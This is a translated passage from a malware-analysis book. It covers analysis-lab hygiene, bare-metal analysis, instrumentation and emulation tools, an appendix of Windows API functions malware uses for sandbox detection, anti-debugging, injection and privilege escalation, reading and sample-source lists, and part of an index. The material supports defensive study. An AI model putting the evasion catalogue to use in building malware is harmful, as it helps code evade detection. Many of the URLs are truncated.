除了 INetSim 和 FakeDNS,Wireshark 和 FakeNet 也是你可以用来安全地监控网络流量和捕捉恶意活动的工具。
隐藏你的 IP
如果你决定将虚拟机连接到互联网(通过配置虚拟机的网络适配器为 NAT 或桥接模式),你应该始终通过 VPN 或类似技术来保护自己。使用 VPN 的额外好处是,取决于 VPN 服务提供商,你可能能够选择你的出口节点(即流量离开网络的点)。一些恶意软件(例如 SocGholish 家族)是针对特定地区或国家的,因此,如果你使用联网的虚拟机进行分析,将 VPN 出口节点配置为恶意软件目标所在的国家可能是一个不错的分析策略。
共享文件夹和文件传输
考虑到使用剪贴板共享和共享文件夹的风险,理想情况下,除非你明确需要它们,否则应该关闭这些功能。特别是共享文件夹对于在宿主系统和虚拟机之间传输恶意软件文件及其他文件非常方便。如果你选择保持禁用共享文件夹(或如果你没有安装任何虚拟机工具),你可以通过配置 FTP 软件(如 FileZilla)来复制文件。只需在你的 Linux 虚拟机上配置 FTP 服务器,在 Windows 虚拟机上配置 FTP 客户端,然后在它们之间传输文件即可。(https://
更新软件
保持你的虚拟化软件更新。虚拟化软件是恶意软件作者的主要攻击目标,像 VMware Workstation 和 VirtualBox 这样的软件经常会被发现并报告出漏洞。参考一下,在撰写本文时,通过快速搜索 CVEdetails.com 的漏洞数据库网站,显示 VMware Workstation 存在 171 个已知漏洞,VirtualBox 存在 326 个已知漏洞!当然,这些漏洞并非都非常严重,但它们是一个必须牢记的风险。如果没有得到适当的修补,这些漏洞可能会被用来攻击你的宿主操作系统。你还应保持虚拟机来宾软件的更新,比如 VMware Tools 和 VirtualBox Guest Additions,确保它们是最新版本。
裸机分析
在处理高级恶意软件时,要让虚拟机(VM)看起来与真实的物理机器完全相同是非常困难的,甚至可以说是不可能的。你或许能够通过查询注册表或列举正在运行的进程来欺骗一些检测手段,但高级恶意软件可能会使用更复杂的策略,比如 CPU 定时检查,或者甚至是目前尚未公开的技术。你可能能够通过手动修补代码中的问题区域(这可能非常耗时)或使用二进制插装技术(将在下一节中讨论)来绕过这些检查,但有时最好的和最有效的解决方案是裸机分析。
裸机这个术语指的是操作系统直接运行在底层硬件上,而不是在虚拟化的管理程序中运行。这可以是你闲置的备用笔记本电脑,也可以是一个充满了物理设备、刚安装了操作系统的服务器机架。在裸机系统上引爆和分析恶意软件是最接近恶意软件在真实受害主机上实际行为的方式。本章以及第二部分中提到的管理程序伪装痕迹应该是不存在的,且更先进的虚拟机检测技术(例如 CPU 时序分析)将无效。如果安装了一些基本的恶意软件分析工具,裸机系统将变得更强大。就像在虚拟机中一样,你可能需要安装一些工具,如反汇编器、调试器,以及进程和网络监视器等。事实上,我在我的裸机分析系统中安装了许多与分析虚拟机相同的工具。
尽管裸机分析的优点通常超过缺点,但也有一些需要注意的事项。首先,它的有效性取决于你的目标。其次,由于没有底层的管理程序(如 VirtualBox 或 VMware),你无法像在虚拟机中那样拍摄干净系统的快照。例如,在 VirtualBox 中,经过恶意软件样本引爆后,你可以简单地将虚拟机恢复到初始状态,但在裸机分析设置中,这并非易事。也有一些专门的工具,比如 Deep Freeze、Microsoft Deployment Toolkit (MDT)、FOG Project、Clonezilla 和 Rollback Rx。这些工具提供类似快照的功能,但会引入一些额外的开销,且这种类型的恶意软件分析环境的可扩展性不太好。此外,虽然裸机系统不会有恶意软件可以检测到的管理程序相关的伪装痕迹(如磁盘上的注册表键和驱动程序文件),但它们可能安装了其他分析工具,可能会暴露你的身份。
二进制插桩和仿真
你可能还想将两个工具添加到你的恶意软件分析工具箱中:二进制插桩和仿真。二进制插桩是一种修改或插入二进制数据和代码的方法,以实现某种最终结果。在恶意软件分析的背景下,二进制插桩可以用来修改代码,以简化分析过程;这反过来可以让你绕过反分析技术。二进制插桩有两种主要形式:动态二进制插桩 (DBI) 和 静态二进制插桩 (SBI)。DBI 在程序运行时修补程序的指令,而 SBI 则在执行之前对代码进行更改。
二进制插桩,特别是 DBI(动态二进制插桩),可以与其他分析工具(如调试器)互补。使用 DBI,逆向工程师可以动态修改汇编指令,这对于分析具有上下文感知的恶意软件特别有用。例如,像cpuid和rdtsc这类有问题的虚拟机检测指令可以在恶意软件运行时即时修改或删除。此外,DBI 还可以用来监视和修改 Windows API 调用,并自动化某些恶意软件分析任务。
然而,二进制插桩并不是万能的。DBI 可能会引入较大的性能开销,这在分析过程中可能成为问题;它还可能引入时间延迟,恶意软件可能会检测到这些延迟。
二进制插桩是一个复杂的话题,因此我们不会在这里深入探讨,但这里总结了一些可用的二进制插桩框架:
DynamoRIO
一个用于在目标恶意软件执行期间动态操作和转换代码的工具。请参阅https://
FRIDA
基于 Python 和 JavaScript 的动态插桩工具包。请参阅https://
Intel Pin
一个流行的动态二进制插桩框架,是许多其他插桩项目的基础框架。请参阅英特尔开发者资源中的“Pin—动态二进制插桩工具”,网址为https://
基于 Intel PIN 构建的两个插桩工具是 tiny_tracer 和 BluePill。tiny_tracer 项目(https://
与二进制仪器化不同,模拟是在虚拟或模拟环境中运行恶意代码。模拟技术在反恶意软件软件的上下文中已经在第十三章讨论过,它在恶意软件分析中也以类似的方式工作。它的资源消耗也不如完整的沙箱环境或虚拟机那么大。模拟可以很好地控制恶意软件,类似于二进制仪器化,它使你能够自动化许多分析任务。以下是一些你可能想要探索的模拟框架:
Qiling 框架
一个轻量级的跨平台模拟器,支持多种软件架构。它还支持多个操作系统,包括 Windows、macOS 和 Linux。详情请见 https://
Speakeasy
为恶意软件设计的模块化模拟器。它可以模拟用户态和内核态的恶意软件。详情请见 https://
Unicorn
一个轻量级的多平台模拟器框架。Qiling 和 Speakeasy 基于 Unicorn 引擎。详情请见 https://
由于它们能够补充和自动化恶意软件分析过程中的部分工作,二进制仪器化工具和模拟器可以成为你分析工具箱中强大的补充。如果你想深入了解这些主题,Dennis Andriesse 的《Practical Binary Analysis》(No Starch Press,2018)提供了更多的信息。
摘要
本附录讨论了恶意软件分析中最重要部分之一:实验室环境的一些基本概念。你将了解分析实验室环境的基本设置、重要的安全原则,以及一些用来隐藏你的恶意软件分析虚拟机和实验室组件的工具和技术。
隐藏和加固你的分析虚拟机是一种非常有效的节省时间的技术,能够帮助你规避许多恶意软件使用的常见反分析和虚拟机检测策略。然而,使用这些隐藏技术也有一个很大的缺点:你可能会错过关于恶意软件功能的关键信息。如果你的目标是深入了解一个恶意软件样本,隐藏虚拟机可能会适得其反,因为你可能会错过它最有趣的逃逸和检测行为。
第二十章:B 用于规避的 WINDOWS 函数

本附录描述了在本书中讨论的某些规避技术中常用的 Windows 函数。虽然这不是威胁行为者可能滥用的函数的全面列表,但这些是我认为在恶意软件分析中最有趣或最重要的函数,值得熟悉。
请注意,这些函数是去掉了它们的 A 和 W 后缀。例如,CreateFileW 只列为 CreateFile。此外,一些函数有 Nt 和 Zw 两个变体,如 NtLoadDriver 和 ZwLoadDriver,但这里只列出了 Nt 变体。有关这些变体的更多信息,请参见 第一章。
您可以在 https://
AddAtom
将字符串添加到本地原子表中。可用作某些进程注入技术的一部分,如原子轰炸。
AddVectoredExceptionHandler
注册一个新的向量化异常处理程序。可用于滥用异常进行反分析和反调试。替代函数是 RtlAddVectoredExceptionHandler。
AdjustTokenPrivileges
启用或禁用访问令牌的权限。可以被滥用来提升权限。
BCrypt*
请参见 Crypt* 函数。所有以 BCrypt* 开头的函数(如 BCryptEncrypt 和 BCryptDestroyKey)与它们对应的 Crypt* 函数(如 CryptEncrypt 和 CryptDestroyKey)对齐。
BlockInput
阻止输入到达应用程序。可以作为反调试技术来阻止与调试器的交互。
CallNtPowerInformation
返回诸如电池状态和上次睡眠时间等信息,这些信息可用于推断系统是否为虚拟机。
CheckRemoteDebuggerPresent
如果当前进程正在被调试,则返回非零值;否则返回零。可用于检测正在使用的调试器。
CloseHandle
关闭一个打开的句柄。可以作为反调试技术,在特定情况下使某些调试器崩溃。替代方法是现已弃用的 NtClose 函数。
CreateFile
获取文件句柄或创建新文件。可用于多种用途,包括虚拟机和沙盒检测(例如,查找与虚拟机监控器相关的文件和管道)。替代方法是 NtCreateFile 函数。
CreateFileTransacted
创建或打开一个文件,作为 NTFS 事务操作。可用于进程操控,例如进程双重化。
CreateMutex(Ex)
打开一个互斥对象或创建一个新的互斥。可用于枚举与虚拟机监控器相关的互斥对象,作为虚拟机和沙盒检测技术的一部分。
CreateProcess
创建一个新进程,通常作为进程注入的一部分或解包过程中调用。替代方法包括 NtCreateProcess(Ex)、CreateProcessInternal 和 NtCreateUserProcess 函数。
CreateProcessWithToken
创建一个新进程,并将现有令牌的权限分配给该进程。可以被滥用用于提升权限和绕过防御。
CreateRemoteThread
在另一个进程的地址空间中执行新线程,通常作为各种进程注入技术的一部分。替代方法包括 NtCreateThreadEx 和 RtlCreateUserThread 函数。
CreateService
创建一个服务。可以用于持久化或加载恶意内核模块。
CreateToolhelp32Snapshot
创建当前系统上正在运行的进程的快照。可以用于定位系统中的进程进行注入或虚拟机检测。通常在调用 GetProcess32First 和 GetProcess32Next 之前调用。
CreateTransaction
创建一个新的 NTFS 事务对象。另一个可选的函数是NtCreateTransaction函数。另请参见 CreateFileTransacted。
Crypt*
以Crypt开头的函数(例如CryptEncrypt、CryptDecrypt、和CryptCreateHash)用于各种加密操作,如加密和数据哈希,通常用于混淆和规避防御。
DebugActiveProcess
使调试器能够附加到一个活动进程。可用于检测调试器。
DeleteFile
删除文件或目录。可通过删除它们来隐藏磁盘上的痕迹。另一个可选函数是NtDeleteFile函数。
DeviceIOControl
允许用户空间的进程向内核空间的驱动程序发送控制码。通常被 Rootkit 用来向恶意内核驱动发送控制码。
DsGetDcName
检索系统域控制器的名称,常用于检测系统是否属于某个域,以便进行上下文感知、定向攻击或沙箱检测。
DuplicateToken(Ex)
创建一个“副本”令牌并分配给另一个进程。通常会跟随一个类似于ImpersonateLoggedOnUser的函数调用,作为提升权限和规避防御的一部分。
EnumDisplayMonitors
识别系统中配置的监视器数量,以推断系统是虚拟机还是沙箱。
EnumServiceStatus(Ex)
枚举系统上的服务。可用于识别与虚拟机相关的服务,以进行虚拟机检测。
EnumSystemFirmwareTables
枚举系统固件表。可用于识别系统硬件并检测虚拟机。
EnumWindows
枚举打开的窗口。可用于检测恶意软件分析工具和调试器。
ExitProcess
结束一个进程,并可作为反分析技术使用。
ExitWindows(Ex)
注销当前用户账户或关闭系统。可作为反分析和反沙箱技术使用。
FindFirstFile(Ex)
枚举文件系统中的文件。可用于定位与虚拟机和沙箱检测相关的虚拟化程序文件。在调用 FindNextFile 之前执行,该函数遍历系统中的每个文件。
FindFirstUrlCacheEntry(Ex)
枚举浏览器缓存。缺少浏览器缓存数据可能表示虚拟机或沙箱环境。在调用 FindNextUrlCacheEntry(Ex) 之前执行。
FindWindow(Ex)
定位某个特定的窗口,例如特定的分析工具或调试器。
FltEnumerateFilters
可供 rootkit 用于枚举系统中的迷你过滤器驱动程序,有时在安装钩子之前使用。替代方案是 FltEnumerateInstances 和 FltGetFilterFromName 函数。
FltRegisterFilter
注册一个新的迷你过滤器驱动程序。可能在尝试安装迷你过滤器驱动程序的 rootkit 中看到。
GetAdaptersAddresses
检索主机网络接口的 IP 地址和 MAC 地址。可能被滥用来进行虚拟机和沙箱检测。
GetAsyncKeyState
检索某个键盘按键的状态。可用于沙箱规避(例如,等待某个键的按下)。
GetComputerName(Ex)
检索系统的计算机名称,有时用于识别与沙箱相关的计算机名称。
GetCursorPos
获取当前鼠标光标的位置。可用于人机交互检测,以规避沙箱。
GetDiskFreeSpace(Ex)
返回系统上的空闲磁盘空间,可用于检测分析环境,特别是当虚拟机配置有较小的磁盘空间时。
GetForegroundWindow
获取活动前景窗口的信息,有时用于分析工具检测或规避沙箱。
GetKeyboardLayout
返回主机的活动键盘语言,有时用于目标分析。
GetKeyboardLayoutList
返回主机上安装的所有键盘语言的完整列表。
GetLastError
检索调用线程的最后错误值。可以与 SetLastError 和 OutputDebugString 结合使用,用于检测调试器以及其他反分析目的。
GetLocalTime
获取系统的当前日期和时间。可以用于检测调试或其他反分析技术,如定时炸弹。
GetLogicalProcessorInformation(Ex)
返回关于系统处理器的信息。可以用来识别虚拟机(VM)或沙箱环境。
GetModuleFileName(Ex)
检索包含特定模块的文件路径,或者检索当前进程的可执行文件路径。可以用来枚举已加载的模块,如分析工具注入的异常模块,或检索自身可执行文件的路径。
GetModuleHandle(Ex)
返回已加载模块的句柄。
GetPhysicallyInstalledSystemMemory
返回系统的物理内存大小。可以被滥用来识别虚拟机(VM)或沙箱环境。
GetProcAddress
获取函数的过程地址。可以与 LoadLibrary 结合使用,动态加载库和函数,用于端点防御规避和反分析。
GetSystemFirmwareTable
检索系统中的各种固件表。可以用作虚拟机(VM)和沙箱检测技术,通过搜索与虚拟机监控程序(hypervisor)相关的固件。另一种选择是 EnumSystemFirmwareTables 函数。
GetSystemInfo
返回关于系统的信息。可以用来检测虚拟机(VM)环境。
GetSystemMetrics
返回关于系统指标和配置的信息。
GetSystemTime
见 GetLocalTime。
GetTcpTable
返回系统的 IPv4 TCP 连接表。可用于检测没有连接网络或互联网的虚拟机(VM)或沙箱。
GetThreadContext
检索当前线程的上下文。可以用来检测硬件断点。另一种选择是 Wow64GetThreadContext 函数。
GetThreadLocale
返回正在运行的线程的区域信息,例如当前使用的语言。可以用于目标分析。
GetTickCount
检索自系统启动以来已过去的毫秒数。可用于多种反分析技术,如调试器检测。替代方法是 GetTickCount64 函数。
GetUserDefaultUILanguage
返回当前登录用户的界面语言。可用于与 GetThreadLocale 相同的目的。替代方法包括 GetSystemDefaultUILanguage、GetSystemDefaultLCID、GetUserDefaultLCID 和 GetProcessPreferredUILanguages 函数。
GetVersion(Ex)
检索操作系统的版本信息。可用于目标配置文件分析。
GetWindowText
获取窗口的标题文本。可用于检测恶意软件分析工具。
GlobalAddAtom(Ex)
将字符串添加到全局原子表中。另见 AddAtom。
GlobalGetAtomName
检索指定全局原子的字符串。另见 AddAtom。
ImpersonateLoggedOnUser
允许调用线程模拟登录用户的安全上下文。另见 DuplicateToken(Ex)。
InitiateShutdown
关闭并重启系统。可用作反分析和反沙箱技术。替代方法是 InitiateSystemShutdown(Ex) 函数。
InternetConnect
打开 FTP 或 HTTP 网络连接。可用于多种规避技术,如判断系统是否连接到互联网,以检测沙箱或虚拟机。常与 InternetOpen 和 InternetReadFile 结合使用。
IsDebuggerPresent
检查调用进程是否正在被调试。另见 CheckRemoteDebuggerPresent。
IsProcessorFeaturePresent
返回各种处理器功能的状态,这些功能可以指示虚拟机(VM)。
LoadLibrary
将模块加载到调用进程的地址空间中。参见 GetProcAddress。
Module32First
获取关于进程中加载的第一个模块的信息。可以与 Module32Next 一起使用,枚举和识别与分析工具相关的模块。
NtCreateTransaction
创建一个新的 NTFS 事务对象。可用于进程操作技术,如进程伪装(process doppelganging)。
NtLoadDriver
将驱动程序加载到系统中。可以调用该功能来加载恶意的内核模块。
NtMapViewOfSection
将一个视图映射到目标进程的地址空间中。可用于手动将库或代码映射到内存中,作为进程注入的一部分。
NtOpenDirectoryObject
可用于查询系统上的设备和驱动程序对象。有时用来定位虚拟机相关的文物,作为虚拟机检测的一部分。另一个替代方案是 NtQueryDirectoryObject 函数。
NtQueryInformationProcess
返回大量有关目标进程的信息。可以用来识别附加的调试器。
NtQueryObject
返回有关不同操作系统对象的信息。可用于识别调试器对象,指示恶意软件正在被调试。
NtQuerySystemInformation
返回许多不同的系统信息。可以用于枚举固件表以识别虚拟机或沙箱。
NtQuerySystemTime
参见 GetLocalTime。
NtSetInformationThread
设置线程的优先级。可用于隐藏代码执行,避免调试器检测,或者在某些情况下导致调试器崩溃。
NtUnmapViewOfSection
从内存中卸载一个视图。有时用作进程注入技术的一部分。
OpenMutex
打开一个互斥体对象。参见 CreateMutex。
OpenProcess
打开进程对象,通常是进程注入的前兆。另一个替代方案是 NtOpenProcess 函数。
OpenProcessToken
打开进程的访问令牌,通常是特权提升技术的前兆。另见 AdjustTokenPrivileges。
OpenService
打开一个服务。可以用来识别与沙箱和虚拟机监控器相关的服务。
OpenThread
打开一个线程对象。可以用于进程注入技术,例如线程劫持。
OutputDebugString
将字符串发送到调试器。可以用于反调试目的。另见 GetLastError。
PostMessage
当传递 WS_CLOSE 参数到窗口句柄时,关闭应用程序窗口。可以作为反分析技术使用。
Process32First
收集进程快照中的第一个进程的信息。另见 CreateToolhelp32Snapshot。
Process32Next
收集进程快照中的下一个进程的信息。另见 CreateToolhelp32Snapshot。
PsLookupProcessByProcessID
获取指向进程 EPROCESS 结构的指针。有时被 rootkit 用来为规避技术(如 DKOM)做准备。
PsSetCreateProcessNotifyRoutine(Ex)
注册一个驱动程序回调函数,当任何新进程被创建或终止时触发。有时被 rootkit 用来监视进程创建。
PsSetCreateThreadNotifyRoutine(Ex)
与 PsSetCreateProcessNotifyRoutine(Ex) 类似,但用于线程创建。
PsSetLoadImageNotifyRoutine(Ex)
注册一个回调函数,当进程将图像加载到内存中时触发,例如加载 DLL 模块,或者当加载新驱动程序时触发。有时被 rootkit 用来监视模块加载。
QueryPerformanceCounter
查询处理器的性能计数器并返回当前值。可以作为反调试和虚拟机检测技术的一部分使用。
QueueUserAPC
排队一个新的异步过程调用,有时用于进程注入技术,例如 APC 注入。一个替代函数是 NtQueueApcThread。
ReadProcessMemory
从目标进程的内存区域读取数据。可用于多种目的,例如检查进程内存中的钩子,作为反钩子技术的一部分。另一种选择是NtReadVirtualMemory函数。
RegEnumKey(Ex)
枚举一个注册表键。可用于虚拟机检测或识别感兴趣的注册表键。
RegEnumValue
枚举一个注册表键值。
RegOpenKey(Ex)
打开一个注册表键用于读写操作。
ResumeThread
恢复线程执行,常用于进程注入,例如进程空洞技术。另一种选择是NtResumeThread函数。
RollbackTransaction
回滚一个 NTFS 事务,并用于进程操作,例如在进程双重技术中。
RtlCopyMemory
将源缓冲区的内容从内存复制到另一个内存区域。可被调用将恶意代码写入内存,如注入钩子。
RtlQueryProcessHeapInformation
返回有关当前进程堆的信息。可用于检测调试器。
RtlZeroMemory
将一块内存区域填充为零。可作为反取证和防御规避技术的一部分使用。
SetFileAttributes
为文件或目录设置各种属性。可通过hidden属性来隐藏文件和目录。
SetFileTime
为文件或目录设置各种时间戳。可用于伪造文件时间戳(时间戳篡改)。
SetPriorityClass
设置进程的优先级。可被滥用,通过降低终端防御进程的优先级来尝试规避它们。
SetThreadContext
设置线程的上下文,有时用于进程注入技术,特别是进程空洞技术。
SetUnhandledExceptionFilter
允许调用程序覆盖顶级异常处理程序。可作为反调试和隐蔽代码执行技术的一部分使用。
SetWindowsHookEx
安装一个应用程序定义的钩子。可用于多种目的,如钩住键盘和鼠标事件及注入恶意代码。
Sleep(Ex)
挂起线程的执行一段指定的时间。可以用于许多恶意目的,如沙箱规避和各种反调试技术。
StartService
启动系统上的服务。可以用来建立持久性或加载恶意模块。
SuspendThread
挂起一个线程,并在某些进程注入技术中使用,如线程劫持。另一种选择是Wow64SuspendThread函数。
TerminateProcess
终止指定的进程。可用作一种反分析技术。
VirtualAlloc(Ex)
分配(保留或提交)一个虚拟内存区域,并且是各种进程注入技术的一部分。另一种选择是NtAllocateVirtualMemory函数。
VirtualQuery(Ex)
返回关于内存区域的信息。可以用来检测硬件和内存断点。另一种选择是NtQueryVirtualMemory函数。
WriteProcessMemory
向进程中的内存区域写入数据,并作为各种进程注入技术的一部分使用。另一种选择是NtWriteVirtualMemory函数。
第二十一章:C 进一步阅读与资源

本附录列出了进一步阅读的书籍和资源,它们可以成为本书的极佳补充。有些提供了对本书中仅仅提到的内容的深入探讨,而其他的则补充了书中的讨论,或专门聚焦于某个特定的工具或方法。在本附录的末尾,你会找到一份在线沙箱和恶意软件来源的列表,帮助你开始练习书中展示的技巧。
第一部分(第 1–3 章)
-
Eagle, Chris, 《IDA Pro 书籍:世界上最流行的反汇编工具非官方指南》,第 2 版。旧金山:No Starch Press,2011 年。这是一本关于 IDA Pro 反汇编工具和调试器的终极指南,涵盖了从浏览 IDA Pro 界面到使用插件及其一些高级功能的所有内容。
-
Eagle, Chris, 和 Kara Nance. 《Ghidra 书籍:权威指南》。旧金山:No Starch Press,2020 年。Eagle 和 Nance 介绍了使用 Ghidra 反汇编工具的基础知识,以及该工具的一些高级使用方法。
-
Kleymenov, Alexey, 和 Amr Thabet. 《恶意软件分析精通:恶意软件分析师的实用指南,打击恶意软件、APT、网络犯罪和物联网攻击》。伯明翰,英国:Packt,2022 年。这是一本现代、全面的恶意软件分析概念和技术书籍,甚至涵盖了 Linux 和物联网恶意软件以及 macOS 和 iOS 威胁等领域。
-
Sikorski, Michael, 和 Andrew Honig. 《实用恶意软件分析:动手解剖恶意软件指南》。旧金山:No Starch Press,2012 年。这本书是最早的全面恶意软件分析指南之一。即使这本书已经出版了十多年,书中讨论的许多技术至今仍然非常具有相关性。
-
Yosifovich, Pavel, Mark E. Russinovich, Alex Ionescu, 和 David A. Solomon. 《Windows 内部原理,第一部分:系统架构、进程、线程、内存管理等》,第 7 版。雷德蒙德,WA:Microsoft Press,2017 年;Allievi, Andrea, Alex Ionescu, David A. Solomon, 和 Mark E. Russinovich. 《Windows 内部原理,第二部分》,第 7 版。雷德蒙德,WA:Microsoft Press,2021 年。两本 《Windows 内部原理》 书籍提供了关于 Windows 工作原理的极为详细的解析。如果你想深入了解 Windows 架构,这两本书是最佳选择。
第二至四部分(第 4–17 章)
-
Andriesse, Dennis. 《实用二进制分析:构建你自己的 Linux 工具进行二进制插桩、分析和反汇编》。旧金山:No Starch Press,2018 年。本书探讨了分析各种类型二进制文件的技术,涵盖了一些我在这里只简要介绍的概念,比如二进制插桩。
-
Hand, Matt. 规避 EDR:终端检测系统击败终极指南。旧金山:No Starch Press,2023 年。Hand 涵盖了大量关于终端检测与响应(EDR)系统的信息,包括其一般架构和规避策略。
-
Ligh, Michael Hale, Andrew Case, Jamie Levy, 和 Aaron Walters. 内存取证艺术:检测 Windows、Linux 和 Mac 内存中的恶意软件和威胁。霍博肯,新泽西州:Wiley,2014 年。作者详细解释了内存和内存取证这一复杂话题——这是本书中我仅简要提到的概念。
-
Matrosov, Alex, Eugene Rodionov, 和 Sergey Bratus. Rootkits 和 Bootkits:逆向现代恶意软件和下一代威胁。旧金山:No Starch Press,2019 年。本书深入探讨了现代 Rootkits 和 Bootkits,以及如何从恶意软件分析和取证的角度进行调查。
-
MITRE ATT&CK (https://
attack ) 是一个记录威胁行为者使用技术的知识库,是本书几乎所有主题的绝佳伴随资源。.mitre .org -
Unprotect (https://
unprotect ) 是由研究人员 Jean-Pierre Lesueur 和 Thomas Roccia 维护的一个项目,旨在对恶意软件规避技术进行分类。这是本书的另一个优秀伴随资源。.it -
Yason, Mark Vincent. “解包艺术。”亚特兰大:IBM 互联网安全系统,2011 年。https://
www 。虽然现在有些过时,但这篇研究论文包含了大量关于解包恶意软件的信息。它还深入探讨了反分析和调试器攻击等话题。.blackhat .com /presentations /bh -usa -07 /Yason /Whitepaper /bh -usa -07 -yason -WP .pdf -
Yehoshua, Nir 和 Uriel Kosayev. 绕过杀毒软件的技巧:学习实际技巧与战术来对抗、绕过和规避杀毒软件。伯明翰,英国:Packt,2021 年。本书包含了关于绕过反恶意软件防御的专业知识。虽然主要面向“进攻性”研究人员,但书中的技巧可以帮助恶意软件分析师理解恶意软件如何绕过这些防御。
在线恶意软件沙箱
这是一些免费(或部分免费的)沙箱列表。你可以通过这些服务提交并分析恶意软件,但它们的免费层可能功能有限。还要注意,这些沙箱中的一些可能会将数据共享给未知方,样本也可能会向更广泛的观众开放。仅提交不包含敏感数据的文件,且请自行承担风险!
-
Any.Run: https://
any .run -
Cuckoo: https://
cuckoo .cert .ee -
Hybrid Analysis: https://
hybrid -analysis .com -
Joe Sandbox: https://
joesandbox .com -
Triage: https://
tria .ge -
UnpacMe: https://
unpac .me / -
VirusTotal: https://
www .virustotal .com
恶意软件来源
如果你的日常工作不涉及研究新型恶意软件,你可能需要一些恶意软件样本来进行实践。以下来源是免费的(有些需要简单注册),但 VirusTotal 除外。
-
MalShare: https://
malshare .com -
MalwareBazaar: https://
bazaar .abuse .ch -
Malware Traffic Analysis: https://
www .malware -traffic -analysis .net -
VirusShare: https://
virusshare .com -
VirusSign: https://
www .virussign .com -
VirusTotal: https://
www .virustotal .com -
vx-underground: https://
www .vx -underground .org
第二十二章:索引
-
A
-
Abrams, Lawrence, 245
-
加速检查,121–122
-
访问令牌,253–254
-
AddAtom 函数,209,424
-
地址空间布局随机化(ASLR),15–16,62–63
-
AddVectoredExceptionHandler 函数,192,424
-
AdjustTokenPrivileges 函数,269,424
-
管理员账户,249
-
Agent Tesla,xxiv
-
可警报状态,208
-
Al-Khaser,415–416
-
Allievi, Andrea, 436
-
替代数据流(ADS),307–309
-
Andriesse, Dennis, 436
-
反附加技术,167,180
-
反 Cuckoo,143
-
反调试,167
-
检查父进程,173
-
反制,181
-
在 Joe Sandbox 中,34
-
定时检查,171–172
-
反反汇编,151
-
反取证,289–290,306–317
-
反钩取,137–144,238
-
工具集,143–144
-
反恶意软件排除项,236
-
反恶意软件,224
-
基于云的沙盒,226
-
基于哈希的检测,225
-
基于启发式的检测,226
-
限制和挑战,226–227
-
基于签名的检测,225
-
反解包,383–385
-
杀毒软件(AV),224
-
Any.Run,20,437
-
APC(异步过程调用)注入,207–208
-
API。参见 应用程序编程接口
-
apihashes 插件,165
-
API 监视器,201–202,206–207。另见 跟踪 API 调用
-
应用程序日志,313
-
应用程序编程接口(API)。另见 钩取;Windows API
-
调用混淆,160–165
-
敲击,135
-
间接调用,161–163
-
跟踪调用,69–71
-
应用程序, 4
-
AppLocker, 221, 294
-
任意代码保护, 221
-
Pieter Arntz, 246
-
工件
-
文件系统, 234
-
隐藏, 306–312
-
操作系统, 75
-
进程, 233
-
注册表, 234
-
ASCII, 27
-
ASLR(地址空间布局随机化), 15–16, 62–63
-
内存损坏, 15–16
-
aspnet_compiler.exe, 305
-
汇编代码
-
x64(64 位), 44
-
x86(32 位), 44
-
汇编指令
-
算术操作, 48–49
-
调用和返回操作, 50
-
跳转操作, 50
-
移动操作, 49
-
空操作, 51, 69
-
栈操作, 47–48
-
值比较, 49–50
-
华硕, xxii
-
异步过程调用(APC)注入, 207–208
-
AsyncRAT, xxiii
-
原子, 209
-
Autochk, 279–280
-
AV(杀毒)软件, 224
-
Ave Maria, 25
-
B
-
后台智能传输服务(BITS), 299
-
反向链接(blink), 9, 273–274
-
银行木马, xxiii
-
裸金属分析系统, 419
-
base64dump.py, 322, 405
-
Base64 编码, 319–322
-
Bashlite, 257
-
Adrien Bataille, 309
-
Bcrypt* 函数, 30, 335–336, 343, 424
-
信标, 295
-
BeingDebugged 值, 10, 168
-
定制恶意软件, xxiv
-
二进制仪器化, 382, 420–421
-
动态, 420
-
静态, 420
-
Binwalk, 310
-
BITS(后台智能传输服务), 299
-
BITSAdmin(bitsadmin.exe), 299
-
位操作, 310. 参见 隐写术
-
位测试(bt)指令, 125
-
Black Hat 大会, 212, 246
-
blink(反向链接), 9, 273–274
-
块加密算法, 326
-
BlockInput 函数, 179, 424
-
BluePill, 421
-
启动工具包, xxiv, 285
-
引导代码, 204
-
僵尸网络, 261
-
BPHs(防弹主机), 262
-
Bratus, Sergey, 437
-
断点
-
在调试器中, 58
-
检测与规避, 174–176
-
在硬件中, 365
-
内存中, 66–68, 175–176
-
陷阱, 174, 177–187
-
自带漏洞驱动程序(BYOVD)技术, 271–272
-
浏览历史, 96
-
bt(位测试)指令, 125
-
防弹主机(BPHs), 262
-
C
-
C2(命令与控制)
-
框架, 136, 259
-
服务器, 39
-
缓存, 96
-
回调函数, 106, 186
-
CallNamedPipe 函数, 86
-
CAPA, 56–57, 336–337, 405
-
CAPE, 31
-
Carbanak 后门, 217
-
进位标志寄存器, 125
-
Case, Andrew, 436
-
中央调度代码块, 157
-
证书信任与签名滥用, 245–246
-
证书信任存储, 245
-
certmgr, 246
-
certutil.exe, 290, 299–300
-
CFF Explorer, 23, 62, 350, 353
-
CGG, 305
-
Chappell, Geoff, 7
-
CheckRemoteDebuggerPresent 函数, 168–169, 424
-
校验和, 178–179
-
Chlumecký, Martin, 284
-
Chrome 浏览器文件位置, 96
-
CloseHandle 函数, 170, 424
-
Cloudburst, 146
-
cmd.exe,29,250–251,300–301,369
-
CmRegisterCallback(Ex) 回调,231,284–285
-
Cobalt Strike,204,295–297
-
CoCreateInstance 命令,253
-
CoInitialize 函数,253
-
coinminers, xxiv
-
COM。参见 组件对象模型
-
命令与控制(C2)
-
框架,136,259
-
服务器,39
-
命令行参数,119
-
已提交内存,13
-
商品恶意软件,xxiv
-
组件对象模型(COM)
-
滥用,252
-
类 ID,253
-
COMAutoApproval 属性,253
-
接口,253
-
对象,253
-
注册表篡改,253
-
上下文感知,xxii
-
CONTEXT 结构,176
-
控制流,45,50,154–160
-
扁平化,156
-
使用索引和指针寄存器进行维护,45
-
使用跳转指令修改,50
-
混淆,154
-
对策,159–160
-
控制流保护,221
-
转换代码和数据,153
-
cookies,96
-
Cornelis,243
-
CosmicStrand,285
-
隐蔽执行,185
-
cpuid 指令,57,125,413
-
CPU 寄存器,44–51
-
摇篮,PowerShell,302–303
-
CRC-32 哈希,325
-
CreateFile 函数,86,211,278,424
-
CreateFileTransacted 函数,213,424
-
CreateMutex 函数,85,424
-
CreateProcess 函数, 173, 206–208, 213, 254, 296, 366, 370, 425
-
CreateProcessInternal 函数, 366, 425
-
CreateProcessNotifyRoutine 函数, 283, 432
-
CreateProcessWithToken 函数, 254, 425
-
CreateRemoteThread 函数, 30, 199–201, 203, 296, 367, 425
-
CreateService 函数, 269–270, 425
-
CREATE_SUSPENDED 标志, 206–207
-
CreateToolhelp32Snapshot 函数, 76, 145, 173, 233, 425
-
CreateTransaction 函数, 213, 425
-
CreateWindow(Ex) 函数, 7–8
-
